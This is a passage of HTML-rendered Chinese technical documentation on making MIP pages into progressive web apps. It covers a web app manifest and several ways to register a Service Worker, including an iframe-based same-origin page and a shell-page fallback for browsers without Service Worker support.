punctuation\">&gt;</span></span></code> &#x4E2D;&#x6DFB;&#x52A0; <code>manifest.json</code> &#x6587;&#x4EF6;&#xFF0C;&#x5982;&#x4E0B;&#x4EE3;&#x7801;&#x6240;&#x793A;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token doctype\">&lt;!doctype html&gt;</span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>html</span> <span class=\"token attr-name\">amp</span> <span class=\"token attr-name\">lang</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>en<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>meta</span> <span class=\"token attr-name\">charset</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>utf-8<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span> <span class=\"token attr-name\">async</span> <span class=\"token attr-name\">src</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>https://c.mipcdn.com/static/v2/mip.js<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>title</span><span class=\"token punctuation\">&gt;</span></span>Hello, MIP<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>title</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>canonical<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">href</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>http://mipexample.org/article-metadata.html<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>meta</span> <span class=\"token attr-name\">name</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>viewport<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">content</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>width=device-width,minimum-scale=1,initial-scale=1<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token comment\">&lt;!-- &#x63D2;&#x5165; manifest.json --&gt;</span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>manifest<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">href</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>./manifest.json<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token comment\">&lt;!-- MIP &#x9875;&#x9762;&#x5185;&#x5BB9; --&gt;</span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>html</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x4E3A;&#x4E86;&#x4FDD;&#x8BC1;&#x6BCF;&#x4E2A; MIP &#x9875;&#x9762;&#x90FD;&#x80FD;&#x591F;&#x6DFB;&#x52A0;&#x5230;&#x684C;&#x9762;&#xFF0C;&#x6BCF;&#x4E2A; MIP &#x9875;&#x9762;&#x90FD;&#x9700;&#x8981;&#x6DFB;&#x52A0; <code>manifest.json</code> &#x6587;&#x4EF6;&#xFF0C;<code>manifest.json</code> &#x7684;&#x5185;&#x5BB9;&#x793A;&#x4F8B;&#x5982;&#x4E0B;&#x4EE3;&#x7801;&#x6240;&#x793A;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-json\"><span class=\"token punctuation\">{</span>\n  <span class=\"token property\">&quot;name&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;MIP-PWA&quot;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token property\">&quot;short_name&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;MIP-PWA&quot;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token property\">&quot;icons&quot;</span><span class=\"token operator\">:</span> <span class=\"token punctuation\">[</span>\n    <span class=\"token punctuation\">{</span>\n      <span class=\"token property\">&quot;src&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;./launcher-icon-1x.png&quot;</span><span class=\"token punctuation\">,</span>\n      <span class=\"token property\">&quot;type&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;image/png&quot;</span><span class=\"token punctuation\">,</span>\n      <span class=\"token property\">&quot;sizes&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;48x48&quot;</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n    <span class=\"token punctuation\">{</span>\n      <span class=\"token property\">&quot;src&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;./launcher-icon-2x.png&quot;</span><span class=\"token punctuation\">,</span>\n      <span class=\"token property\">&quot;type&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;image/png&quot;</span><span class=\"token punctuation\">,</span>\n      <span class=\"token property\">&quot;sizes&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;96x96&quot;</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n    <span class=\"token punctuation\">{</span>\n      <span class=\"token property\">&quot;src&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;./launcher-icon-4x.png&quot;</span><span class=\"token punctuation\">,</span>\n      <span class=\"token property\">&quot;type&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;image/png&quot;</span><span class=\"token punctuation\">,</span>\n      <span class=\"token property\">&quot;sizes&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;192x192&quot;</span>\n    <span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>\n  <span class=\"token property\">&quot;start_url&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;/?standalone=1&quot;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token property\">&quot;background_color&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;#ffffff&quot;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token property\">&quot;display&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;standalone&quot;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token property\">&quot;theme_color&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;#1976d2&quot;</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x5176;&#x4E2D;&#x9700;&#x8981;&#x6CE8;&#x610F;&#x7684;&#x662F;&#xFF0C;<code>start_url</code> &#x9700;&#x8981;&#x6307;&#x5B9A;&#x4E00;&#x4E2A;&#x56FA;&#x5B9A;&#x7684;&#x5165;&#x53E3; URL&#xFF0C;&#x5F53;&#x7528;&#x6237;&#x5C06; MIP &#x9875;&#x9762;&#x6DFB;&#x52A0;&#x5230;&#x684C;&#x9762;&#x4E4B;&#x540E;&#xFF0C;&#x53EF;&#x4EE5;&#x4FDD;&#x8BC1;&#x7528;&#x6237;&#x4ECE;&#x684C;&#x9762;&#x5165;&#x53E3;&#x8FDB;&#x5165; PWA &#x4E4B;&#x540E;&#x80FD;&#x591F;&#x6709;&#x4E00;&#x4E2A;&#x56FA;&#x5B9A;&#x7684;&#x5165;&#x53E3;&#x3002;</p>\n<h2 id=\"&#x542F;&#x7528;-service-worker\"><a name=\"&#x542F;&#x7528;-service-worker\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x542F;&#x7528;-service-worker\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x542F;&#x7528;-service-worker\" class=\"plugin-anchor\" href=\"#&#x542F;&#x7528;-service-worker\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x542F;&#x7528; Service Worker</h2>\n<p>MIP &#x9875;&#x9762;&#x5728;&#x96C6;&#x6210;&#x4E86; Web App Manifest &#x4E4B;&#x540E;&#xFF0C;&#x8FDB;&#x800C;&#x9700;&#x8981;&#x96C6;&#x6210;&#x5E76;&#x542F;&#x7528; Service Worker &#x624D;&#x80FD;&#x8BA9;&#x7AD9;&#x70B9;&#x79BB;&#x7EBF;&#x4F7F;&#x7528;&#xFF0C;&#x52A0;&#x5FEB;&#x9996;&#x5C4F;&#x5C55;&#x73B0;&#x7B49;&#x3002;&#x90A3;&#x4E48;&#x5982;&#x4F55;&#x5728; MIP &#x9875;&#x9762;&#x4E2D;&#x4F7F;&#x7528; Service Worker &#x5462;&#xFF1F;</p>\n<h3 id=\"&#x6CE8;&#x518C;-service-worker\"><a name=\"&#x6CE8;&#x518C;-service-worker\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6CE8;&#x518C;-service-worker\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6CE8;&#x518C;-service-worker\" class=\"plugin-anchor\" href=\"#&#x6CE8;&#x518C;-service-worker\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6CE8;&#x518C; Service Worker</h3>\n<p>&#x901A;&#x8FC7;&#x7B2C;&#x56DB;&#x7AE0;&#x5BF9; Service Worker &#x7684;&#x4ECB;&#x7ECD;&#xFF0C;&#x901A;&#x5E38;&#x6CE8;&#x518C; Service Worker &#x53EA;&#x9700;&#x8981;&#x5728; HTML &#x9875;&#x9762;&#x7684; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E;&#x4E2D;&#x7F16;&#x5199;&#x4E00;&#x6BB5;&#x7B80;&#x77ED;&#x7684; JavaScript &#x4EE3;&#x7801;&#x6765;&#x5B8C;&#x6210;&#x3002;&#x4F46;&#x662F;&#x901A;&#x8FC7;&#x4E0A;&#x4E00;&#x8282;&#x5BF9; AMP/MIP &#x7684;&#x4ECB;&#x7ECD;&#xFF0C;&#x6211;&#x4EEC;&#x77E5;&#x9053; AMP/MIP &#x9875;&#x9762;&#x662F;&#x65E0;&#x6CD5;&#x7F16;&#x5199; JavaScript &#x7684;&#xFF0C;&#x90A3;&#x4E48;&#x5728;&#x8FD9;&#x79CD;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x5982;&#x4F55;&#x5B8C;&#x6210; Service Worker &#x7684;&#x6CE8;&#x518C;&#x5462;&#xFF1F;</p>\n<p>&#x7531;&#x4E8E; MIP &#x53EF;&#x4EE5;&#x901A;&#x8FC7; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>mip-script</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E;&#x6765;&#x652F;&#x6301;&#x7F16;&#x5199;&#x7B80;&#x5355;&#x7684; JavaScript &#x4EE3;&#x7801;&#xFF0C;&#x867D;&#x7136;&#x6709;&#x4E00;&#x4E9B;&#x9650;&#x5236;&#xFF0C;&#x4F46;&#x662F;&#x662F;&#x53EF;&#x4EE5;&#x7F16;&#x5199; Service Worker &#x6CE8;&#x518C;&#x903B;&#x8F91;&#x7684;&#xFF0C;&#x5177;&#x4F53;&#x4EE3;&#x7801;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>mip-script</span><span class=\"token punctuation\">&gt;</span></span>\n// &#x6CE8;&#x518C; Service Worker\nif (&apos;serviceWorker&apos; in navigator) {\n  navigator.serviceWorker.register(&apos;./sw.js&apos;)\n}\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>mip-script</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<blockquote>\n<p>&#x6CE8;&#x610F;&#xFF1A;</p>\n<p>MIP &#x53EF;&#x4EE5;&#x901A;&#x8FC7; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>mip-script</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E;&#x6765;&#x652F;&#x6301;&#x7F16;&#x5199;&#x7B80;&#x5355;&#x7684; JavaScript &#x4EE3;&#x7801;&#xFF0C;&#x4F46;&#x662F;&#x4F1A;&#x6709;&#x4E00;&#x4E9B;&#x9650;&#x5236;&#xFF0C;&#x5177;&#x4F53;&#x53EF;&#x4EE5;&#x53C2;&#x8003; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>mip-script</span><span class=\"token punctuation\">&gt;</span></span></code> &#x7EC4;&#x4EF6;&#x6587;&#x6863;&#xFF08;<a href=\"https://www.mipengine.org/v2/components/extensions/mip-script.html\" target=\"_blank\">https://www.mipengine.org/v2/components/extensions/mip-script.html</a>&#xFF09;&#xFF0C;&#x4F46;&#x662F; AMP &#x5E76;&#x4E0D;&#x652F;&#x6301;&#x7F16;&#x5199;&#x81EA;&#x5B9A;&#x4E49; JavaScript &#x7684;&#x65B9;&#x5F0F;&#xFF0C;&#x6240;&#x4EE5;&#x8FD9;&#x79CD;&#x65B9;&#x6CD5;&#x4E0D;&#x9002;&#x5408;&#x5728; AMP &#x4E2D;&#x4F7F;&#x7528;&#x3002;</p>\n</blockquote>\n<p>MIP &#x8FD8;&#x63D0;&#x4F9B;&#x4E86;&#x4E00;&#x4E2A;&#x7EC4;&#x4EF6; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>mip-install-serviceworker</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6765;&#x5E2E;&#x52A9; MIP &#x9875;&#x9762;&#x5B8C;&#x6210; Service Worker &#x7684;&#x6CE8;&#x518C;&#x3002;&#x5177;&#x4F53;&#x7528;&#x6CD5;&#x5F88;&#x7B80;&#x5355;&#xFF0C;&#x9996;&#x5148;&#x53EA;&#x9700;&#x8981;&#x5728; MIP &#x9875;&#x9762;&#x4E2D;&#x5F15;&#x5165; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>mip-install-serviceworker</span><span class=\"token punctuation\">&gt;</span></span></code> &#x7EC4;&#x4EF6;&#x7684; JavaScript CDN &#x6587;&#x4EF6;&#x5730;&#x5740;&#xFF0C;&#x5982;&#x4E0B;&#x4EE3;&#x7801;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span> <span class=\"token attr-name\">async</span> <span class=\"token attr-name\">src</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>https://c.mipcdn.com/static/v1/mip-install-serviceworker/mip-install-serviceworker.js<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x5728;&#x5F15;&#x5165;&#x7EC4;&#x4EF6; JavaScript &#x6587;&#x4EF6;&#x4E4B;&#x540E;&#xFF0C;&#x5728; MIP &#x9875;&#x9762;&#x4E2D;&#x5C31;&#x53EF;&#x4EE5;&#x4F7F;&#x7528; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>mip-install-serviceworker</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E;&#x5728; MIP &#x9875;&#x9762;&#x4E2D;&#x8FDB;&#x884C; Service Worker &#x7684;&#x6CE8;&#x518C;&#xFF0C;&#x5982;&#x4E0B;&#x4EE3;&#x7801;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>mip-install-serviceworker</span> <span class=\"token attr-name\">src</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>./sw.js<span class=\"token punctuation\">&quot;</span></span>\n  <span class=\"token attr-name\">data-iframe-src</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>https://mipexample.org/sw.html<span class=\"token punctuation\">&quot;</span></span>\n  <span class=\"token attr-name\">layout</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>nodisplay<span class=\"token punctuation\">&quot;</span></span>\n  <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>mip-hidden<span class=\"token punctuation\">&quot;</span></span>\n<span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>mip-install-serviceworker</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x5728; mip-install-serviceworker &#x7EC4;&#x4EF6;&#x91CC;&#xFF0C;&#x63D0;&#x4F9B;&#x4E86; <code>src</code> &#x548C; <code>data-iframe-src</code> &#x4E24;&#x4E2A;&#x5C5E;&#x6027;&#x3002;&#x5982;&#x679C;&#x8981;&#x8BA9; Service Worker &#x80FD;&#x987A;&#x5229;&#x6CE8;&#x518C;&#xFF0C;&#x4E24;&#x4E2A;&#x5C5E;&#x6027;&#x90FD;&#x9700;&#x8981;&#x586B;&#x5199;&#xFF0C;&#x56E0;&#x4E3A; MIP &#x9875;&#x4E0D;&#x4EC5;&#x5728;&#x641C;&#x7D22;&#x7ED3;&#x679C;&#x9875;&#x4E0B;&#x901A;&#x8FC7; iframe &#x7684;&#x65B9;&#x5F0F;&#x6253;&#x5F00;&#xFF0C;&#x8FD8;&#x53EF;&#x4EE5;&#x88AB;&#x76F4;&#x63A5;&#x8BBF;&#x95EE;&#x3002;</p>\n<p>&#x5982;&#x679C;&#x662F;&#x76F4;&#x63A5;&#x901A;&#x8FC7; MIP &#x9875;&#x9762;&#x7684;&#x72EC;&#x7ACB;&#x5730;&#x5740;&#x8BBF;&#x95EE;&#xFF0C;&#x56E0;&#x4E3A; Service Worker &#x7684;&#x6587;&#x4EF6; URL &#x57DF;&#x548C;&#x5F53;&#x524D; MIP &#x7AD9;&#x70B9;&#x4E00;&#x81F4;&#xFF0C;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x6CE8;&#x518C;&#xFF0C;&#x8FD9;&#x4E2A;&#x65F6;&#x5019;&#x5C31;&#x4F1A;&#x76F4;&#x63A5;&#x4F7F;&#x7528;&#x5230; <code>src</code> &#x5C5E;&#x6027;&#x63D0;&#x4F9B;&#x7684; Service Worker &#x6587;&#x4EF6; URL&#xFF0C;&#x901A;&#x8FC7;&#x7EC4;&#x4EF6;&#x5185;&#x90E8;&#x8C03;&#x7528; <code>navigator.serviceWorker.register()</code> &#x65B9;&#x6CD5;&#x8FDB;&#x884C;&#x76F4;&#x63A5;&#x6CE8;&#x518C;&#x3002;</p>\n<p>&#x4F46;&#x662F; MIP &#x9875;&#x4E0D;&#x4EC5;&#x80FD;&#x76F4;&#x63A5;&#x8BBF;&#x95EE;&#xFF0C;&#x8FD8;&#x80FD;&#x88AB;&#x7F13;&#x5B58;&#x5728; MIP Cache CDN &#x4E0A;&#xFF0C;&#x5728;&#x641C;&#x7D22;&#x7ED3;&#x679C;&#x9875;&#x901A;&#x8FC7; iframe &#x7684;&#x65B9;&#x5F0F;&#x6253;&#x5F00;&#xFF0C;&#x90A3;&#x4E48;&#x7528;&#x6237;&#x8BBF;&#x95EE;&#x7684;&#x8FD9;&#x4E2A;&#x9875;&#x9762;&#x7684;&#x57DF;&#x540D;&#x5C31;&#x4E0D;&#x662F;&#x7AD9;&#x70B9;&#x672C;&#x8EAB;&#x7684;&#x57DF;&#x540D;&#x3002;&#x7531;&#x4E8E;&#x7AD9;&#x70B9;&#x4E0D;&#x80FD;&#x8DE8;&#x57DF;&#x6CE8;&#x518C; Service Worker &#x6587;&#x4EF6; URL&#xFF0C;&#x6240;&#x4EE5;&#x4E0D;&#x80FD;&#x65E0;&#x6CD5;&#x901A;&#x8FC7; <code>navigator.serviceWorker.register()</code> &#x65B9;&#x6CD5;&#x76F4;&#x63A5;&#x6CE8;&#x518C;&#x3002;&#x8FD9;&#x79CD;&#x60C5;&#x51B5;&#x4E0B;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; iframe &#x5D4C;&#x5165;&#x548C;&#x7AD9;&#x70B9;&#x540C;&#x4E00;&#x57DF;&#x7684;&#x4E00;&#x4E2A;&#x4E2D;&#x95F4; HTML &#x9875;&#x9762;&#x6765;&#x89E3;&#x51B3;&#x57DF;&#x540D;&#x4E0D;&#x540C;&#x7684;&#x95EE;&#x9898;&#xFF0C;&#x800C;&#x5728;&#x8FD9;&#x4E2A;&#x4E2D;&#x95F4; HTML &#x9875;&#x9762;&#x4E2D;&#x5C31;&#x53EF;&#x4EE5;&#x6CE8;&#x518C; Service Worker&#xFF0C;&#x63D0;&#x524D;&#x7F13;&#x5B58;&#x7AD9;&#x70B9;&#x8D44;&#x6E90;&#xFF0C;&#x8FD9;&#x4E2A;&#x4E2D;&#x95F4; HTML &#x9875;&#x9762;&#x7684;&#x5730;&#x5740;&#x5C31;&#x662F; data-iframe-src &#x5C5E;&#x6027;&#x6307;&#x5B9A;&#x7684;&#x5730;&#x5740;&#xFF0C;HTML &#x9875;&#x9762;&#x4EE3;&#x7801;&#x53EF;&#x4EE5;&#x5F88;&#x7B80;&#x5355;&#xFF0C;&#x5982;&#x4E0B;&#x4EE3;&#x7801;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token comment\">&lt;!--https://same-origin-host-of-mip-page.com/index.html--&gt;</span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span><span class=\"token punctuation\">&gt;</span></span>\nif (&apos;serviceWorker&apos; in navigator) {\n  navigator.serviceWorker.register(&apos;/sw.js&apos;)\n}\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x867D;&#x7136;&#x73B0;&#x4EE3;&#x6D4F;&#x89C8;&#x5668;&#x51E0;&#x4E4E;&#x90FD;&#x5DF2;&#x7ECF;&#x652F;&#x6301;&#x4E86; Service Worker&#xFF0C;&#x4F46;&#x662F;&#x4E3A;&#x4E86;&#x4FDD;&#x8BC1;&#x6781;&#x81F4;&#x7684;&#x4F53;&#x9A8C;&#x548C;&#x517C;&#x5BB9;&#x6027;&#xFF0C;mip-install-serviceworker &#x7EC4;&#x4EF6;&#x8FD8;&#x63D0;&#x4F9B;&#x4E86;&#x4E00;&#x79CD;&#x673A;&#x5236;&#x4E13;&#x95E8;&#x9488;&#x5BF9;&#x90A3;&#x4E9B;&#x4E0D;&#x652F;&#x6301; Service Worker &#x7684;&#x6D4F;&#x89C8;&#x5668;&#x3002;&#x53EF;&#x4EE5;&#x6307;&#x5B9A;&#x4E00;&#x4E2A;&#x7279;&#x6B8A;&#x7684;&#x540C;&#x6E90; shell &#x9875;&#x9762;&#xFF0C;&#x5728; MIP &#x9875;&#x9762;&#x4E2D;&#x63D0;&#x524D;&#x52A0;&#x8F7D;&#x8FD9;&#x4E2A; shell &#x9875;&#x9762;&#x8FDB;&#x884C; HTTP &#x7F13;&#x5B58;&#x3002;&#x901A;&#x8FC7; <code>data-no-service-worker-fallback-url-match</code> &#x5C5E;&#x6027;&#x6307;&#x5B9A;&#x9700;&#x8981;&#x8DF3;&#x8F6C;&#x5230;&#x8BE5; shell &#x9875;&#x9762;&#x7684; URL &#x89C4;&#x5219;&#xFF0C;&#x8BE5;&#x5C5E;&#x6027;&#x4E3A;&#x6B63;&#x5219;&#x8868;&#x8FBE;&#x5F0F;&#x3002;&#x5E76;&#x4E14;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; <code>data-no-service-worker-fallback-shell-url</code> &#x6307;&#x5B9A;&#x7684; shell &#x9875;&#x9762;&#x7684; URL, &#x9700;&#x8981;&#x548C; MIP &#x9875;&#x9762;&#x4FDD;&#x6301;&#x540C;&#x6E90;&#xFF0C;&#x5F53;&#x8BE5; shell &#x9875;&#x9762;&#x52A0;&#x8F7D;&#x5B8C;&#x6210;&#x4E4B;&#x540E;&#xFF0C;&#x6709;&#x5FC5;&#x987B;&#x901A;&#x8FC7; hash &#x53C2;&#x6570; redirect &#x5230;&#x539F;&#x9875;&#x9762;&#x7684;&#x903B;&#x8F91;&#x3002;&#x4EE3;&#x7801;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>mip-install-serviceworker</span> <span class=\"token attr-name\">src</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>./sw.js<span class=\"token punctuation\">&quot;</span></span>\n  <span class=\"token attr-name\">data-iframe-src</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>https://mipexample.org/sw.html<span class=\"token punctuation\">&quot;</span></span>\n  <span class=\"token attr-name\">layout</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>nodisplay<span class=\"token punctuation\">&quot;</span></span>\n  <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>mip-hidden<span class=\"token punctuation\">&quot;</span></span>\n  <span class=\"token attr-name\">data-no-service-worker-fallback-url-match</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>.*\\.html<span class=\"token punctuation\">&quot;</span></span>\n  <span class=\"token attr-name\">data-no-service-worker-fallback-shell-url</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>https://mipexample.org/shell/<span class=\"token punctuation\">&quot;</span></span>\n<span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>mip-install-serviceworker</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>a</span> <span class=\"token attr-name\">data-type</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>mip<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">href</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>https://samehost.org/some/path/index.html<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>link1&lt;/&gt;<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>br</span><span class=\"token punctuation\">/&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>a</span> <span class=\"token attr-name\">data-type</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>mip<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">href</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>http://samehost.org/some/path/index.html<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>link2<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>a</span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>br</span><span class=\"token punctuation\">/&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>a</span> <span class=\"token attr-name\">data-type</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>mip<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">href</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>https://diffhost.org/some/path/index.html<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>link3<span class=\"token tag\"><span class=\"token tag\"><span class=\"token 